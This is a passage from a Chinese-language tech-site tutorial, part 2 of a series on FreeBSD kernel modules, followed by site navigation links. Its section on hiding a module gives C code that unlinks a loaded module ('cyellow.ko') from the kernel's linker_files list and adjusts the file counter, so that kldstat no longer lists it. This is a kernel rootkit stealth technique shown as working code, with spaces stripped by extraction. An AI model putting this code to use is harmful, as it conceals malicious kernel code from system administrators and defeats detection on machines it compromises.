本文详细介绍玩转freebsd内核模块(2)
文章第一部分:http://tech.ddvip.com/2007-01/116870106917928.html
3.6.隐藏模块
重要的,我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))
前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c此外它还有一个计数单元定义在next_file_id,这个
数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块
externlinker_file_list_tlinker_files;
externintnext_file_id;
externstructlocklock;
[...]
linker_file_tlf=0;
/*lockexclusive,sincewechangethings*/
lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf,&linker_files,link){ //宏定义遍历队列得到linker_file结构
if(!strcmp(lf->filename,"cyellow.ko")){
/*firstlet'sdecrementthegloballinkfilecounter*/
next_file_id--;
/*nowlet'sremovetheentry*/
TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
break;
}
}
lockmgr(&lock,LK_RELEASE,0,curproc);下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。
责编:豆豆技术应用
正在加载评论...
- Linux/Unix新闻
- Linux/Unix入门
- Linux/Unix命令
- Linux/Unix安装
- Linux/Unix编程
- Linux/Unix管理
- Linux/Unix桌面
- Linux/Unix内核
- Linux/Unix软件
- Linux/Unix发行版
- IBM AIX
- Solaris
- NetBSD
- SCO Unix
- NetBSD Internals
- NetBSD 指导手册
- FreeBSD Porter 手册
- FreeBSD Handbook 简体中文版
- FREEBSD 使用者手册
- FreeBSD 5.x 架设管理与应用
- FreeBSD 6.0架设管理与应用
- OpenBSD FAQ中文版